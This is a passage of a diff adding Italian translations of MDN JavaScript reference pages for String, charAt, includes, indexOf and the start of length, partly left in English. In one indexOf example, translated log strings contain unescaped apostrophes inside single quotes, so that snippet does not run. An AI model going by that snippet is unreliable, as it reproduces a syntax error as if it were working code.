+   <td>{{SpecName('ESDraft', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_il_browser">Compatibilità con il browser</h2>
+
+<p class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta di pull.</p>
+
+<p>{{Compat("javascript.builtins.String.charAt")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li><a href="https://mathiasbynens.be/notes/javascript-unicode">JavaScript has a Unicode problem – Mathias Bynens</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/string/includes/index.html b/files/it/web/javascript/reference/global_objects/string/includes/index.html
new file mode 100644
index 0000000000..44eac8fc22
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/string/includes/index.html
@@ -0,0 +1,188 @@
+---
+title: String.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/String/includes
+translation_of: Web/JavaScript/Reference/Global_Objects/String/includes
+---
+<div>{{JSRef}}</div>
+
+<div>Il metodo <strong><code>includes() </code></strong>verifica se una stringa ne contiene un'altra desiderata, restituendo <code>true</code> o <code>false</code> in base dell'esito della ricerca.</div>
+
+<div> </div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.includes(<var>searchString</var>[, <var>position</var>])</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>Una stringa da cercare all'interno di una stringa.</dd>
+ <dt><code>position</code></dt>
+ <dd>Opzionale. La posizione in questa stringa. La posizione in questa stringa in cui iniziare la ricerca di searchString; il valore predefinito è 0.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p><strong><code>true</code></strong> se la stringa contiene la stringa di ricerca; altrimenti, <strong><code>false</code></strong>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Questo metodo permette di determinare se la stringa includa o no un'altra stringa.</p>
+
+<h3 id="Sensitività_alle_maiuscole">Sensitività alle maiuscole</h3>
+
+<p>Il metodo <code>includes()</code> è sensibile alle maiuscole. Per esempio, la seguente espressione restituisce false:</p>
+
+<pre class="brush: js">'Blue Whale'.includes('blue'); // returns false
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_includes()">Utilizzando <code>includes()</code></h3>
+
+<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
+
+console.log(str.includes('To be'));       // true
+console.log(str.includes('question'));    // true
+console.log(str.includes('nonexistent')); // false
+console.log(str.includes('To be', 1));    // false
+console.log(str.includes('TO BE'));       // false
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Questo metodo è stato aggiunto alla specifica ECMAScript 2015 e potrebbe essere non disponibile ancora in tutte le implementazioni di JavaScript.</p>
+
+<pre class="brush: js">if (!String.prototype.includes) {
+  String.prototype.includes = function(search, start) {
+    'use strict';
+    if (typeof start !== 'number') {
+      start = 0;
+    }
+
+    if (start + search.length &gt; this.length) {
+      return false;
+    } else {
+      return this.indexOf(search, start) !== -1;
+    }
+  };
+}
+
+/*
+https://github.com/FabioVergani/js-Polyfill_StringIncludes/blob/master/StringIncludes.js
+
+(function(s){'use strict';
+ var o=s.prototype,p='includes';
+ o[p]||(o[p]=function(a,b){//search,start
+  var e=this,i=isNaN(b)?0:b,t=a,l=t.length;
+  return (l&lt;1||((i+l)&gt;e.length))?false:-1!==e.indexOf(t,i);
+ });
+})(String);
+
+*/</pre>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definizioni inizili.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser </h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("41")}}</td>
+   <td>{{CompatGeckoDesktop("40")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>14393+</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("9")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("40")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="String.prototype.contains">String.prototype.contains</h2>
+
+<p>In Firefox 18 - 39, il nome di questo metodo era <code>contains()</code>. E' stato rinominato in<code>includes()</code> in {{bug(1102219)}} a causa del seguente motivo:</p>
+
+<p>E' stato riportato che alcuni websites che utilizzano MooTools 1.2 non funzionavano su Firefox 17. Tale versione di MooTools controlla se <code>String.prototype.contains()</code> esiste e, se non esiste,  MooTools aggiunge una propria funzione. Con l'introduzione di questa funzione in Firefox 17, il comportamento di tale controllo è cambiato in un modo che il codice basato su <code>String.prototype.contains()</code>  non funzioni. Come risultato, l'implementazione  è stata disabilitata in Firefox 17 e <code>String.prototype.contains()</code> era disponibile nella versione successiva, in Firefox 18, quando <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=789036#c32">outreach to MooTools </a>stava conducendo al rilascio di <a href="http://mootools.net/blog/2013/02/19/mootools-1-2-6-released">MooTools version 1.2.6</a>.</p>
+
+<p>MooTools 1.3 forza la propria versione di  <code>String.prototype.contains()</code>, così i siti web che si affidano ad essa non vanno in break. Comunque si noti che la signature di  <a href="http://mootools.net/core/docs/1.3.2/Types/String#String-method:-contains">MooTools 1.3 </a>e quella di ECMAScript 2015 per questo metodo differiscono (sul secondo argomento). Più avanti , <a href="https://github.com/mootools/mootools-core/blob/master/Docs/Types/String.md#note">MooTools 1.5+ ha cambiato la  signature per incontrare lo standard ES2015.</a></p>
+
+<p>In Firefox 48, <code>String.prototype.contains()</code> è stato rimosso. Usare <code>String.prototype.includes()</code> solamente.</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/string/index.html b/files/it/web/javascript/reference/global_objects/string/index.html
new file mode 100644
index 0000000000..713f9a0cb4
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/string/index.html
@@ -0,0 +1,410 @@
+---
+title: String
+slug: Web/JavaScript/Reference/Global_Objects/String
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - NeedsTranslation
+  - Reference
+  - String
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p>L'oggetto globale "String" è un costruttore per le stringhe o una sequenza alfanumerica di caratteri.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>String literals take the forms:</p>
+
+<pre class="syntaxbox">'string text'
+"string text"
+"中文 español deutsch English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ் עברית"</pre>
+
+<p>Strings can also be created using the <code>String</code> global object directly:</p>
+
+<pre class="syntaxbox">String(thing)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>thing</code></dt>
+ <dd>Anything to be converted to a string.</dd>
+</dl>
+
+<h3 id="Template_literals">Template literals</h3>
+
+<p>Starting with ECMAScript 2015, string literals can also be so-called <a href="/en-US/docs/Web/JavaScript/Reference/Template_literals">Template literals</a>:</p>
+
+<pre class="syntaxbox">`hello world`
+`hello!
+ world!`
+`hello ${who}`
+escape `&lt;a&gt;${who}&lt;/a&gt;`</pre>
+
+<dl>
+</dl>
+
+<h3 id="Escape_notation">Escape notation</h3>
+
+<p>Beside regular, printable characters, special characters can be encoded using escape notation:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Code</th>
+   <th scope="col">Output</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>the NULL character</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>single quote</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>double quote</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>backslash</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>nuova linea</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>carriage return</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>vertical tab</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>tab</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>backspace</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>form feed</td>
+  </tr>
+  <tr>
+   <td><code>\uXXXX</code></td>
+   <td>unicode codepoint</td>
+  </tr>
+  <tr>
+   <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code></td>
+   <td>unicode codepoint {{experimental_inline}}</td>
+  </tr>
+  <tr>
+   <td><code>\xXX</code></td>
+   <td>the Latin-1 character</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>Unlike some other languages, JavaScript makes no distinction between single-quoted strings and double-quoted strings; therefore, the escape sequences above work in strings created with either single or double quotes.</p>
+</div>
+
+<dl>
+</dl>
+
+<h3 id="Long_literal_strings">Long literal strings</h3>
+
+<p>Sometimes, your code will include strings which are very long. Rather than having lines that go on endlessly, or wrap at the whim of your editor, you may wish to specifically break the string into multiple lines in the source code without affecting the actual string contents. There are two ways you can do this.</p>
+
+<p>You can use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition_()">+</a> operator to append multiple strings together, like this:</p>
+
+<pre class="brush: js">let longString = "This is a very long string which needs " +
+                 "to wrap across multiple lines because " +
+                 "otherwise my code is unreadable.";
+</pre>
+
+<p>Or you can use the backslash character ("\") at the end of each line to indicate that the string will continue on the next line. Make sure there is no space or any other character after the backslash (except for a line break), or as an indent; otherwise it will not work. That form looks like this:</p>
+
+<pre class="brush: js">let longString = "This is a very long string which needs \
+to wrap across multiple lines because \
+otherwise my code is unreadable.";
+</pre>
+
+<p>Both of these result in identical strings being created.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Strings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/String_Operators">+ and += string operators</a>, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.</p>
+
+<h3 id="Character_access">Character access</h3>
+
+<p>There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:</p>
+
+<pre class="brush: js">return 'cat'.charAt(1); // returns "a"
+</pre>
+
+<p>The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:</p>
+
+<pre class="brush: js">return 'cat'[1]; // returns "a"
+</pre>
+
+<p>For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)</p>
+
+<h3 id="Comparing_strings">Comparing strings</h3>
+
+<p>C developers have the <code>strcmp()</code> function for comparing strings. In JavaScript, you just use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">less-than and greater-than operators</a>:</p>
+
+<pre class="brush: js">var a = 'a';
+var b = 'b';
+if (a &lt; b) { // true
+  console.log(a + ' is less than ' + b);
+} else if (a &gt; b) {
+  console.log(a + ' is greater than ' + b);
+} else {
+  console.log(a + ' and ' + b + ' are equal.');
+}
+</pre>
+
+<p>A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by <code>String</code> instances.</p>
+
+<h3 id="Distinction_between_string_primitives_and_String_objects">Distinction between string primitives and <code>String</code> objects</h3>
+
+<p>Note that JavaScript distinguishes between <code>String</code> objects and primitive string values. (The same is true of {{jsxref("Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)</p>
+
+<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p>
+
+<pre class="brush: js">var s_prim = 'foo';
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // Logs "string"
+console.log(typeof s_obj);  // Logs "object"
+</pre>
+
+<p>String primitives and <code>String</code> objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to <code>eval</code> are treated as source code; <code>String</code> objects are treated as all other objects are, by returning the object. For example:</p>
+
+<pre class="brush: js">var s1 = '2 + 2';             // creates a string primitive
+var s2 = new String('2 + 2'); // creates a String object
+console.log(eval(s1));        // returns the number 4
+console.log(eval(s2));        // returns the string "2 + 2"
+</pre>
+
+<p>For these reasons, code may break when it encounters <code>String</code> objects when it expects a primitive string instead, although generally authors need not worry about the distinction.</p>
+
+<p>A <code>String</code> object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.</p>
+
+<pre class="brush: js">console.log(eval(s2.valueOf())); // returns the number 4
+</pre>
+
+<div class="note"><strong>Note:</strong> For another possible approach to strings in JavaScript, please read the article about <a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a>.</div>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype")}}</dt>
+ <dd>Allows the addition of properties to a <code>String</code> object.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()")}}</dt>
+ <dd>Returns a string created by using the specified sequence of Unicode values.</dd>
+ <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt>
+ <dd>Returns a string created by using the specified sequence of code points.</dd>
+ <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt>
+ <dd>Returns a string created from a raw template string.</dd>
+</dl>
+
+<h2 id="String_generic_methods"><code>String</code> generic methods</h2>
+
+<div class="warning">
+<p><strong>String generics are non-standard, deprecated and will get removed near future</strong>. Note that you can not rely on them cross-browser without using the shim that is provided below.</p>
+</div>
+
+<p>The <code>String</code> instance methods are also available in Firefox as of JavaScript 1.6 (<strong>not</strong> part of the ECMAScript standard) on the <code>String</code> object for applying <code>String</code> methods to any object:</p>
+
+<pre class="brush: js">var num = 15;
+console.log(String.replace(num, /5/, '2'));
+</pre>
+
+<p>{{jsxref("Global_Objects/Array", "Generics", "#Array_generic_methods", 1)}} are also available on {{jsxref("Array")}} methods.</p>
+
+<p>The following is a shim to provide support to non-supporting browsers:</p>
+
+<pre class="brush: js">/*globals define*/
+// Assumes all supplied String instance methods already present
+// (one may use shims for these if not available)
+(function() {
+  'use strict';
+
+  var i,
+    // We could also build the array of methods with the following, but the
+    //   getOwnPropertyNames() method is non-shimable:
+    // Object.getOwnPropertyNames(String).filter(function(methodName) {
+    //   return typeof String[methodName] === 'function';
+    // });
+    methods = [
+      'quote', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
+      'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
+      'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase',
+      'toLocaleUpperCase', 'localeCompare', 'match', 'search',
+      'replace', 'split', 'substr', 'concat', 'slice'
+    ],
+    methodCount = methods.length,
+    assignStringGeneric = function(methodName) {
+      var method = String.prototype[methodName];
+      String[methodName] = function(arg1) {
+        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
+      };
+    };
+
+  for (i = 0; i &lt; methodCount; i++) {
+    assignStringGeneric(methods[i]);
+  }
+}());
+</pre>
+
+<h2 id="String_instances"><code>String</code> instances</h2>
+
+<h3 id="Properties_2">Properties</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_2">Methods</h3>
+
+<h4 id="Methods_unrelated_to_HTML">Methods unrelated to HTML</h4>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods_unrelated_to_HTML')}}</div>
+
+<h4 id="HTML_wrapper_methods">HTML wrapper methods</h4>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'HTML_wrapper_methods')}}</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="String_conversion">String conversion</h3>
+
+<p>It's possible to use <code>String</code> as a "safer" {{jsxref("String.prototype.toString()", "toString()")}} alternative, as although it still normally calls the underlying <code>toString()</code>, it also works for {{jsxref("null")}}, {{jsxref("undefined")}}, and for {{jsxref("Symbol", "symbols")}}. For example:</p>
+
+<pre class="brush: js">var outputStrings = [];
+for (var i = 0, n = inputValues.length; i &lt; n; ++i) {
+  outputStrings.push(String(inputValues[i]));
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>\u{XXXXXX}</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>\u{XXXXXX}</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DOMString")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/string/indexof/index.html b/files/it/web/javascript/reference/global_objects/string/indexof/index.html
new file mode 100644
index 0000000000..e8653cac62
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/string/indexof/index.html
@@ -0,0 +1,151 @@
+---
+title: String.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/indexOf
+translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong><code>indexOf()</code></strong> restituisce l'indice all'interno dell'oggetto {{jsxref("String")}} chiamante della prima occorrenza del valore specificato, avviando la ricerca su <code>fromIndex</code>. Restituisce -1 se il valore non viene trovato.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-indexof.html")}}</div>
+
+
+
+<div class="note"><strong>Note:</strong> Per il metodo dell'Array, vedere {{jsxref("Array.prototype.indexOf()")}}.</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>str</var>.indexOf(<var>searchValue</var>[, <var>fromIndex</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><var>searchValue</var></dt>
+ <dd>Una stringa che rappresenta il valore da cercare. Se non viene fornita esplicitamente alcuna stringa, <a href="https://tc39.github.io/ecma262/#sec-tostring"><var>searchValue</var> sarà forzato a <code>"undefined"</code></a> e questo valore verrà cercato nella stringa corrente.</dd>
+ <dt><var>fromIndex</var> {{optional_inline}}</dt>
+ <dd>Un numero intero che rappresenta l'indice al quale avviare la ricerca; il valore predefinito è  <code>0</code>. Per valori <code>fromIndex</code> values inferiori a <code>0</code> o maggiori di <code>str.length</code>, la ricerca inizia rispettivamente con <code>0</code> e <code>str.length</code>.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'indice della prima occorrenza di <em>searchValue</em> o <strong>-1</strong> se non trovato.<br>
+ Una stringa vuota <em>searchValue</em> corrisponderà a qualsiasi indice tra <code>0</code> e <code>str.length</code>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>I caratteri in una stringa sono indicizzati da sinistra a destra. L'indice del primo carattere è 0 e l'indice dell'ultimo carattere di una stringa chiamata <code>stringName</code> è <code>stringName.length - 1</code>.</p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('Blue');     // ritorna  0
+'Blue Whale'.indexOf('Blute');    // ritorna -1
+'Blue Whale'.indexOf('Whale', 0); // ritorna  5
+'Blue Whale'.indexOf('Whale', 5); // ritorna  5
+'Blue Whale'.indexOf('Whale', 7); // ritorna -1
+'Blue Whale'.indexOf('');         // ritorna  0
+'Blue Whale'.indexOf('', 9);      // ritorna  9
+'Blue Whale'.indexOf('', 10);     // ritorna 10
+'Blue Whale'.indexOf('', 11);     // ritorna 10
+</pre>
+
+<p>Il metodo <code>indexOf()</code> è case sensitive. Ad esempio, la seguente espressione restituisce -1:</p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('blue'); // ritorna -1
+</pre>
+
+<h3 id="Controllo_delle_occorrenze">Controllo delle occorrenze</h3>
+
+<p>Nota che '0' non valuta <code>true</code> e '-1' non valuta <code>false</code>. Pertanto, quando si verifica se esiste una stringa specifica all'interno di un'altra stringa, il modo corretto per verificare sarebbe:</p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('Blue') !== -1; // true
+'Blue Whale'.indexOf('Bloe') !== -1; // false
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_indexOf()">Usare <code>indexOf()</code></h3>
+
+<p>Nell'esempio seguente viene utilizzato <code>indexOf()</code> per individuare i valori nella stringa <code>"Brave new world"</code>.</p>
+
+<pre class="brush: js">const str = 'Brave new world';
+
+console.log('L'indice della prima w dall'inizio è ' + str.indexOf('w'));  // logga 8
+console.log('L'indice di "new" dall'inizio è ' + str.indexOf('new'));  // logga 6
+</pre>
+
+<h3 id="indexOf()_e_il_case-sensitivity"><code>indexOf()</code> e il case-sensitivity</h3>
+
+<p>L'esempio seguente definisce due variabili stringa. Le variabili contengono la stessa stringa tranne che la seconda stringa contiene lettere maiuscole. Il primo metodo {{domxref("console.log()")}} mostra 19. Ma poiché il metodo <code>indexOf()</code> è case sensitive, la stringa <code>"cheddar"</code> non si trova in <code>myCapString</code>, quindi il secondo metodo <code>console.log()</code> mostra -1.</p>
+
+<pre class="brush: js">const myString    = 'brie, pepper jack, cheddar';
+const myCapString = 'Brie, Pepper Jack, Cheddar';
+
+console.log('myString.indexOf("cheddar") è ' + myString.indexOf('cheddar'));
+// logs 19
+console.log('myCapString.indexOf("cheddar") è ' + myCapString.indexOf('cheddar'));
+// logs -1
+</pre>
+
+<h3 id="Uso_di_indexOf()_per_contare_le_occorrenze_di_una_lettera_in_una_stringa">Uso di <code>indexOf()</code> per contare le occorrenze di una lettera in una stringa</h3>
+
+<p>L'esempio seguente imposta <code>count</code> sul numero di occorrenze della lettera <code>e</code> nella stringa <code>str</code>:</p>
+
+<pre class="brush: js">const str = 'Essere o non essere, questa è la domanda.';
+let count = 0;
+let position = str.indexOf('e');
+
+while (position !== -1) {
+  count++;
+  position = str.indexOf('e', position + 1);
+}
+
+console.log(count); // mostra 4
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String.indexOf")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/string/length/index.html b/files/it/web/javascript/reference/global_objects/string/length/index.html
new file mode 100644
index 0000000000..e575b777b8
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/string/length/index.html
@@ -0,0 +1,90 @@
+---
+title: string.length
+slug: Web/JavaScript/Reference/Global_Objects/String/length
+translation_of: Web/JavaScript/Reference/Global_Objects/String/length
+---
+<div>{{JSRef}}</div>
+
